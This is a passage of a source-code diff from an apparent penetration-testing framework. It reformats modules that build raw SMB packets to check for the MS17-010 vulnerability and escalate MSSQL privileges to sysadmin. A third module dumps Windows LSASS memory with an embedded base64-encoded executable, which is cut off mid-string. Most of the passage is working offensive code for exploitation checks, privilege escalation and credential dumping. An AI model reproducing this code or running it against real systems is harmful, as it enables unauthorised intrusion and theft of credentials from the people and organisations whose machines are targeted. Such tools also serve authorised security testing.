'\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00' + "\x00", + "\x31\x00", + "\x02", + "\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00", + "\x02", + "\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00", + "\x02", + "\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00", + "\x02", + "\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00", ] return generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request) def session_setup_andx_request(): - """Generate session setuo andx request. - """ - netbios = [ - '\x00', - '\x00\x00\x63' - ] + """Generate session setuo andx request.""" + netbios = ["\x00", "\x00\x00\x63"] smb_header = [ - '\xFF\x53\x4D\x42', - '\x73', - '\x00\x00\x00\x00', - '\x18', - '\x01\x20', - '\x00\x00', - '\x00\x00\x00\x00\x00\x00\x00\x00', - '\x00\x00', - '\x00\x00', - '\x2F\x4B', - '\x00\x00', - '\xC5\x5E', + "\xFF\x53\x4D\x42", + "\x73", + "\x00\x00\x00\x00", + "\x18", + "\x01\x20", + "\x00\x00", + "\x00\x00\x00\x00\x00\x00\x00\x00", + "\x00\x00", + "\x00\x00", + "\x2F\x4B", + "\x00\x00", + "\xC5\x5E", ] session_setup_andx_request = [ - '\x0D', - '\xFF', - '\x00', - '\x00\x00', - '\xDF\xFF', - '\x02\x00', - '\x01\x00', - '\x00\x00\x00\x00', - '\x00\x00', - '\x00\x00', - '\x00\x00\x00\x00', - '\x40\x00\x00\x00', - '\x26\x00', - '\x00', - '\x2e\x00', - '\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00', - '\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00', + "\x0D", + "\xFF", + "\x00", + "\x00\x00", + "\xDF\xFF", + "\x02\x00", + "\x01\x00", + "\x00\x00\x00\x00", + "\x00\x00", + "\x00\x00", + "\x00\x00\x00\x00", + "\x40\x00\x00\x00", + "\x26\x00", + "\x00", + "\x2e\x00", + "\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00", + "\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00", ] return generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request) def tree_connect_andx_request(ip, userid): - """Generate tree connect andx request. - """ + """Generate tree connect andx request.""" - netbios = [ - '\x00', - '\x00\x00\x47' - ] + netbios = ["\x00", "\x00\x00\x47"] smb_header = [ - '\xFF\x53\x4D\x42', - '\x75', - '\x00\x00\x00\x00', - '\x18', - '\x01\x20', - '\x00\x00', - '\x00\x00\x00\x00\x00\x00\x00\x00', - '\x00\x00', - '\x00\x00', - '\x2F\x4B', - userid, - '\xC5\x5E' + "\xFF\x53\x4D\x42", + "\x75", + "\x00\x00\x00\x00", + "\x18", + "\x01\x20", + "\x00\x00", + "\x00\x00\x00\x00\x00\x00\x00\x00", + "\x00\x00", + "\x00\x00", + "\x2F\x4B", + userid, + "\xC5\x5E", ] ipc = "\\\\{}\IPC$\x00".format(ip) tree_connect_andx_request = [ - '\x04', - '\xFF', - '\x00', - '\x00\x00', - '\x00\x00', - '\x01\x00', - '\x1A\x00', - '\x00', - ipc.encode(), - '\x3f\x3f\x3f\x3f\x3f\x00' + "\x04", + "\xFF", + "\x00", + "\x00\x00", + "\x00\x00", + "\x01\x00", + "\x1A\x00", + "\x00", + ipc.encode(), + "\x3f\x3f\x3f\x3f\x3f\x00", ] length = len("".join(smb_header)) + len("".join(tree_connect_andx_request)) @@ -204,106 +186,98 @@ def tree_connect_andx_request(ip, userid): def peeknamedpipe_request(treeid, processid, userid, multiplex_id): - """Generate tran2 request - """ + """Generate tran2 request""" - netbios = [ - '\x00', - '\x00\x00\x4a' - ] + netbios = ["\x00", "\x00\x00\x4a"] smb_header = [ - '\xFF\x53\x4D\x42', - '\x25', - '\x00\x00\x00\x00', - '\x18', - '\x01\x28', - '\x00\x00', - '\x00\x00\x00\x00\x00\x00\x00\x00', - '\x00\x00', - treeid, - processid, - userid, - multiplex_id + "\xFF\x53\x4D\x42", + "\x25", + "\x00\x00\x00\x00", + "\x18", + "\x01\x28", + "\x00\x00", + "\x00\x00\x00\x00\x00\x00\x00\x00", + "\x00\x00", + treeid, + processid, + userid, + multiplex_id, ] tran_request = [ - '\x10', - '\x00\x00', - '\x00\x00', - '\xff\xff', - '\xff\xff', - '\x00', - '\x00', - '\x00\x00', - '\x00\x00\x00\x00', - '\x00\x00', - '\x00\x00', - '\x4a\x00', - '\x00\x00', - '\x4a\x00', - '\x02', - '\x00', - '\x23\x00', - '\x00\x00', - '\x07\x00', - '\x5c\x50\x49\x50\x45\x5c\x00' + "\x10", + "\x00\x00", + "\x00\x00", + "\xff\xff", + "\xff\xff", + "\x00", + "\x00", + "\x00\x00", + "\x00\x00\x00\x00", + "\x00\x00", + "\x00\x00", + "\x4a\x00", + "\x00\x00", + "\x4a\x00", + "\x02", + "\x00", + "\x23\x00", + "\x00\x00", + "\x07\x00", + "\x5c\x50\x49\x50\x45\x5c\x00", ] return generate_smb_proto_payload(netbios, smb_header, tran_request) def trans2_request(treeid, processid, userid, multiplex_id): - """Generate trans2 request. - """ + """Generate trans2 request.""" - netbios = [ - '\x00', - '\x00\x00\x4f' - ] + netbios = ["\x00", "\x00\x00\x4f"] smb_header = [ - '\xFF\x53\x4D\x42', - '\x32', - '\x00\x00\x00\x00', - '\x18', - '\x07\xc0', - '\x00\x00', - '\x00\x00\x00\x00\x00\x00\x00\x00', - '\x00\x00', - treeid, - processid, - userid, - multiplex_id + "\xFF\x53\x4D\x42", + "\x32", + "\x00\x00\x00\x00", + "\x18", + "\x07\xc0", + "\x00\x00", + "\x00\x00\x00\x00\x00\x00\x00\x00", + "\x00\x00", + treeid, + processid, + userid, + multiplex_id, ] trans2_request = [ - '\x0f', - '\x0c\x00', - '\x00\x00', - '\x01\x00', - '\x00\x00', - '\x00', - '\x00', - '\x00\x00', - '\xa6\xd9\xa4\x00', - '\x00\x00', - '\x0c\x00', - '\x42\x00', - '\x00\x00', - '\x4e\x00', - '\x01', - '\x00', - '\x0e\x00', - '\x00\x00', - '\x0c\x00' + '\x00' * 12 + "\x0f", + "\x0c\x00", + "\x00\x00", + "\x01\x00", + "\x00\x00", + "\x00", + "\x00", + "\x00\x00", + "\xa6\xd9\xa4\x00", + "\x00\x00", + "\x0c\x00", + "\x42\x00", + "\x00\x00", + "\x4e\x00", + "\x01", + "\x00", + "\x0e\x00", + "\x00\x00", + "\x0c\x00" + "\x00" * 12, ] return generate_smb_proto_payload(netbios, smb_header, trans2_request) + def check(ip, port=445): - """Check if MS17_010 SMB Vulnerability exists. - """ + """Check if MS17_010 SMB Vulnerability exists.""" try: buffersize = 1024 timeout = 5.0 @@ -323,10 +297,10 @@ def check(ip, port=445): smb_header = tcp_response[4:36] smb = SMB_HEADER(smb_header) - user_id = struct.pack(' User: if initial_user.is_sysadmin: - context.log.success(f"{initial_user.username} is sysadmin") + self.context.log.success(f"{initial_user.username} is sysadmin") return initial_user elif initial_user.dbowner: - context.log.success( - f"{initial_user.username} can privesc via dbowner" - ) + self.context.log.success(f"{initial_user.username} can privesc via dbowner") return initial_user for grantor in user.grantors: if grantor.is_sysadmin: - context.log.success( - f"{user.username} can impersonate " \ - f"{grantor.username} (sysadmin)" - ) + self.context.log.success(f"{user.username} can impersonate: " f"{grantor.username} (sysadmin)") return grantor elif grantor.dbowner: - context.log.success( - f"{user.username} can impersonate {grantor.username} " \ - f"(which can privesc via dbowner)" - ) + self.context.log.success(f"{user.username} can impersonate: {grantor.username} (which can privesc via dbowner)") return grantor else: - context.log.display( - f"{user.username} can impersonate {grantor.username}" - ) + self.context.log.display(f"{user.username} can impersonate: {grantor.username}") return self.browse_path(context, initial_user, grantor) def query_and_get_output(self, query): - try: - self.mssql_conn.sql_query(query) - self.mssql_conn.printRows() - query_output = self.mssql_conn._MSSQL__rowsPrinter.getMessage() - query_output = query_output.strip("\n-") - return query_output - except Exception as e: - return False + # try: + results = self.mssql_conn.sql_query(query) + # self.mssql_conn.printRows() + # query_output = self.mssql_conn._MSSQL__rowsPrinter.getMessage() + # query_output = results.strip("\n-") + return results + # except Exception as e: + # return False def sql_exec_as(self, grantors: list) -> str: exec_as = [] for grantor in grantors: exec_as.append(f"EXECUTE AS LOGIN = '{grantor}';") - return ''.join(exec_as) + return "".join(exec_as) - def perform_check(self, context, user: User, grantors=[]): + def perform_impersonation_check(self, user: User, grantors=[]): # build EXECUTE AS if any grantors is specified exec_as = self.sql_exec_as(grantors) # do we have any privilege ? @@ -170,16 +151,15 @@ class CMEModule: if new_grantor == user.username: continue # create a new user and add it as a grantor of the current user - new_user = User(new_grantor) - new_user.parent = user - user.grantors.append( - new_user - ) - grantors.append(new_grantor) - # perform the same check on the grantor - self.perform_check(context, new_user, grantors) + if new_grantor not in grantors: + new_user = User(new_grantor) + new_user.parent = user + user.grantors.append(new_user) + grantors.append(new_grantor) + # perform the same check on the grantor + self.perform_impersonation_check(new_user, grantors) - def update_priv(self, user: User, exec_as=''): + def update_priv(self, user: User, exec_as=""): if self.is_admin_user(user.username): user.is_sysadmin = True return True @@ -187,28 +167,29 @@ class CMEModule: return user.dbowner def get_current_username(self) -> str: - return self.query_and_get_output("select SUSER_NAME()") + return self.query_and_get_output("select SUSER_NAME()")[0][""] - def is_admin(self, exec_as='') -> bool: - res = self.query_and_get_output( - exec_as + - "SELECT IS_SRVROLEMEMBER('sysadmin')" - ) + def is_admin(self, exec_as="") -> bool: + res = self.query_and_get_output(exec_as + "SELECT IS_SRVROLEMEMBER('sysadmin')") self.revert_context(exec_as) - if int(res): + is_admin = res[0][""] + self.context.log.debug(f"IsAdmin Result: {is_admin}") + if is_admin: + self.context.log.debug(f"User is admin!") self.admin_privs = True return True else: return False - def get_databases(self, exec_as='') -> list: - res = self.query_and_get_output( - exec_as + "SELECT name FROM master..sysdatabases") + def get_databases(self, exec_as="") -> list: + res = self.query_and_get_output(exec_as + "SELECT name FROM master..sysdatabases") self.revert_context(exec_as) - tables = res.split("\n\n")[2:] + self.context.log.debug(f"Response: {res}") + self.context.log.debug(f"Response Type: {type(res)}") + tables = [table["name"] for table in res] return tables - def is_dbowner(self, database, exec_as='') -> bool: + def is_dbowner(self, database, exec_as="") -> bool: query = f"""select rp.name as database_role from [{database}].sys.database_role_members drm join [{database}].sys.database_principals rp @@ -216,22 +197,25 @@ class CMEModule: join [{database}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id) where rp.name = 'db_owner' and mp.name = SYSTEM_USER""" + self.context.log.debug(f"Query: {query}") res = self.query_and_get_output(exec_as + query) + self.context.log.debug(f"Response: {res}") self.revert_context(exec_as) - try: - res = res.split("\n\n")[2] - except IndexError as e: - return False - return res == "db_owner" + if res: + if "database_role" in res[0] and res[0]["database_role"] == "db_owner": + return True + else: + return False + return False - def find_dbowner_priv(self, databases, exec_as='') -> list: + def find_dbowner_priv(self, databases, exec_as="") -> list: match = [] for database in databases: if self.is_dbowner(database, exec_as): match.append(database) return match - def find_trusted_db(self, exec_as='') -> list: + def find_trusted_db(self, exec_as="") -> list: query = """SELECT d.name AS DATABASENAME FROM sys.server_principals r INNER JOIN sys.server_role_members m @@ -243,14 +227,10 @@ class CMEModule: WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'""" res = self.query_and_get_output(exec_as + query) - # revert context self.revert_context(exec_as) - try: - return res.split("\n\n")[2:] - except IndexError: - return [] + return res - def check_dbowner_privesc(self, exec_as=''): + def check_dbowner_privesc(self, exec_as=""): databases = self.get_databases(exec_as) dbowner = self.find_dbowner_priv(databases, exec_as) trusted_db = self.find_trusted_db(exec_as) @@ -260,7 +240,7 @@ class CMEModule: return db return None - def do_dbowner_privesc(self, database, exec_as=''): + def do_dbowner_privesc(self, database, exec_as=""): # change context if necessary self.query_and_get_output(exec_as) # use database @@ -276,39 +256,31 @@ class CMEModule: self.query_and_get_output("DROP PROCEDURE sp_elevate_me;") self.revert_context(exec_as) - def do_impersonation_privesc(self, username, exec_as=''): + def do_impersonation_privesc(self, username, exec_as=""): # change context if necessary self.query_and_get_output(exec_as) # update our privilege - self.query_and_get_output( - f"EXEC sp_addsrvrolemember '{username}', 'sysadmin'" - ) + self.query_and_get_output(f"EXEC sp_addsrvrolemember '{username}', 'sysadmin'") self.revert_context(exec_as) - def get_impersonate_users(self, exec_as='') -> list: + def get_impersonate_users(self, exec_as="") -> list: query = """SELECT DISTINCT b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name like 'IMPERSONATE%'""" res = self.query_and_get_output(exec_as + query) + # self.context.log.debug(f"Result: {res}") self.revert_context(exec_as) - try: - return res.split("\n\n")[2:] - except IndexError: - return [] + users = [user["name"] for user in res] + return users def remove_sysadmin_priv(self) -> bool: - res = self.query_and_get_output( - f"EXEC sp_dropsrvrolemember '{self.current_username}', 'sysadmin'" - ) + res = self.query_and_get_output(f"EXEC sp_dropsrvrolemember '{self.current_username}', 'sysadmin'") return not self.is_admin() - def is_admin_user(self, username) -> bool: - res = self.query_and_get_output( - f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')" - ) + res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')") try: if int(res): self.admin_privs = True @@ -319,4 +291,4 @@ class CMEModule: return False def revert_context(self, exec_as): - self.query_and_get_output("REVERT;"*exec_as.count("EXECUTE")) + self.query_and_get_output("REVERT;" * exec_as.count("EXECUTE")) diff --git a/cme/modules/nanodump.py b/cme/modules/nanodump.py index 7f628dfb..5b39589d 100644 --- a/cme/modules/nanodump.py +++ b/cme/modules/nanodump.py @@ -17,9 +17,9 @@ class CMEModule: name = "nanodump" description = "Get lsass dump using nanodump and parse the result with pypykatz" supported_protocols = ["smb", "mssql"] - opsec_safe = True + opsec_safe = False multiple_hosts = True - + def __init__(self, context=None, module_options=None): self.connection = None self.dir_result = None @@ -44,8 +44,12 @@ class CMEModule: self.tmp_dir = "C:\\Windows\\Temp\\" self.share = "C$" self.tmp_share = self.tmp_dir.split(":")[1] - self.nano_embedded64 = base64.b64decode("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